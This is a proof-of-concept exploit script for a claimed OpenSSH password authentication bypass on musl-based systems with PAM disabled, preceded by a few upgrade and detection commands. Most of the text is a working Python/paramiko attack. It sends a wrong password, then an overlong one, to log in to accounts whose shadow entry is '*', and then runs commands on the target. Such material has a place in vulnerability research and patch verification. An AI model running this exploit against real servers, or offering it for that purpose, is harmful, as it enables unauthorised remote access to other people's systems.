apk upgrade -U -a

rc-service sshd restart

ldd \"$(command -v sshd || echo /usr/sbin/sshd)\" | grep -i musl

sshd -T | grep -iE 'passwordauthentication|usepam'

awk -F: '$2==\"*\" {print $1}' /etc/shadow

python  ***.py  ip  port  username

#!/usr/bin/env python3
\"\"\"sshhole PoC — OpenSSH < 10.6p2 password authentication bypass on musl libc
with PAM disabled (Alpine / OpenWrt / Buildroot / Yocto / musl images).

usage:  poc_sshhole.py <host> <port> <user> [password length]
        poc_sshhole.py 10.0.0.5 22 root            # default 300 bytes
        poc_sshhole.py 10.0.0.5 22 deploy 512

How it works (two password attempts, ONE connection):
 1. any wrong password -> sshd runs pick_salt() and caches a real \"$6$..\"
    hash prefix borrowed from another account; side effect: it also
    clobbers sshd's static shadow buffer for this attempt.
 2. a 257..1024 byte password -> musl crypt() rejects keys > 256 bytes and
    returns \"*\", which compares equal to the \"*\" in /etc/shadow.

Server preconditions (checked by this script where possible):
 * sshd on musl, PAM disabled, PasswordAuthentication yes
 * target account exists and /etc/shadow holds exactly \"*\" for it
 * at least one other account with a real \"$...\" hash exists (borrowed salt)
 * MaxAuthTries >= 2 (default), root also needs PermitRootLogin yes

Note: an account locked with \"!\" is NOT affected (sshd rejects it as locked),
and neither is an account with a real password hash — this is a bypass of the
\"no password at all\" state, not a password cracker.
\"\"\"
import sys
import paramiko

argv = sys.argv[1:]
if len(argv) < 3:
    print(__doc__)
    sys.exit(2)

HOST = argv[0]
PORT = int(argv[1])
USER = argv[2]
length = int(argv[3]) if len(argv) > 3 else 300

def connect():
    t = paramiko.Transport((HOST, PORT))
    t.start_client(timeout=10)
    t.banner_timeout = 15
    return t

def attempt(t, password):
    try:
        t.auth_password(USER, password)
        return True
    except paramiko.AuthenticationException:
        return False
    except Exception as e:                       # noqa: BLE001
        print(f\"[!] transport error: {type(e).__name__}: {e}\")
        return False

def run(t, cmd):
    ch = t.open_session()
    ch.exec_command(cmd)
    return ch.makefile(\"rb\").read().decode(errors=\"replace\").strip()

def main():
    t = connect()
    print(f\"[*] {HOST}:{PORT}  server={t.remote_version}  user={USER}  pwlen={length}\")

    # attempt 1: ordinary wrong password (primes pick_salt inside this sshd child)
    print(\"[*] attempt 1: wrong password -> \", end=\"\", flush=True)
    if attempt(t, \"sshhole-wrong-password\"):
        print(\"ACCEPTED (unexpected, wrong password worked?)\")
        return 1
    print(\"denied\")

    # attempt 2: the bypass
    print(f\"[*] attempt 2: {length} x 'A' -> \", end=\"\", flush=True)
    if not attempt(t, \"A\" * length):
        print(\"denied -> not vulnerable (or precondition not met)\")
        t.close()
        return 1
    print(\"ACCEPTED\")
    print(\"[+] authenticated, command output:\")
    for cmd in (\"id\", \"uname -sr\"):
        try:
            print(\"    \" + cmd + \": \" + run(t, cmd).replace(\"\
\", \" | \"))
        except Exception as e:                   # noqa: BLE001
            print(f\"    {cmd}: (failed: {e})\")
    t.close()
    return 0

sys.exit(main())